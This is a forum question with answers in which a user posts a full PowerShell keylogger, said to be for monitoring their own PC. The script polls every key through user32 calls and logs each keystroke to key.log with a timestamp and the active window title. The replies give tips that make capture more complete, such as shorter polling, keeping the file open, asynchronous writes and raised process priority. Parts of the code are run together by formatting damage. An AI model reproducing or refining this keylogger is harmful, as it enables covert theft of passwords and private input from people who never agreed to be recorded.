Powershell GetKeystate with outfile

I got a keylogger Powershell script to protocol my input, since I'm quite paranoid if someone uses my PC.

However, some letters (I have an anti-ghosting keyboard) are swallowed if I type them in fast. Does anyone see a bottleneck here? I believe it's either the fact that:

• it can't recognize keys pressed at the same time, or
• The Out-File causes the bottleneck so it doesnt write fast enough.

My question is, how I improve it to capture ALL key inputs?

function KeyLog {

$MAPVK_VK_TO_VSC = 0x00$MAPVK_VSC_TO_VK = 0x01

$MAPVK_VK_TO_CHAR = 0x02$MAPVK_VSC_TO_VK_EX = 0x03

$MAPVK_VK_TO_VSC_EX = 0x04$virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
'@

$kbstate_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); '@$mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@

$tounicode_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@$foreground_sig=@'
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
'@

$getKeyState = Add-Type -MemberDefinition$virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition$kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition$mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition$tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
$getForeground = Add-Type -MemberDefinition$foreground_sig -name "Win32MyForeground" -namespace Win32Functions -passThru
while ($true) { Start-Sleep -Milliseconds 40$gotit = ""

for ($char = 1;$char -le 254; $char++) {$vkey = $char$gotit = $getKeyState::GetAsyncKeyState($vkey)

if ($gotit -eq -32767) {$l_shift = $getKeyState::GetAsyncKeyState(160)$r_shift = $getKeyState::GetAsyncKeyState(161)$caps_lock = [console]::CapsLock

$scancode =$getKey::MapVirtualKey($vkey,$MAPVK_VSC_TO_VK_EX)

$kbstate = New-Object Byte[] 256$checkkbstate = $getKBState::GetKeyboardState($kbstate)

$mychar = New-Object -TypeName "System.Text.StringBuilder";$unicode_res = $getUnicode::ToUnicode($vkey, $scancode,$kbstate, $mychar,$mychar.Capacity, 0)

if ($unicode_res -gt 0) { try {$ActiveHandle = $getForeground::GetForegroundWindow()$Process = Get-Process | ? {$_.MainWindowHandle -eq$activeHandle}

$Process | Select ProcessName, @{Name="AppTitle";Expression= {($_.MainWindowTitle)}}

$title =$Process.MainWindowTitle
$logfile = "key.log"$timestamp = (Get-Date -format MM/dd/yy hh:mm:ss)

Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject "$timestamp | $title |$mychar "
} catch {
}

}
}
}
}
}

KeyLog
`
• This might go beyond the scope of this site, but here it goes. If your script becomes too difficult to manage, you can instead use NirCmd with a powershell/batch/vbscript to take screen shots with the time/date appended. This way you can verify that someone was indeed using your computer. This is just an alternative to your keylog script, I'm not saying you should do this instead, just an idea to think about. – user150904 Oct 28 '17 at 16:18

Some thougts:

• above all, using a user-level code pulling keyboard state periodically is much less reliable then kernel-level driver which OS pushes key events to
• 40 milliseconds sleep is much too high
• if you could open the file handle once instead of each time a key is pressed, you'd get a significant performance boost, at the cost of taking care to close file after the script stops
• if you could do file writing asynchronously (e.g. in a dedicated thread or leveraging an async API), this would reduce the risk of missing a key press because of I/O blocking
• using a sound timer API allows resolution much better than what is achievable with thread sleeps
• maybe it's worth increasing priority of the keylogger process, to reduce the risk of missing key due to thread context switch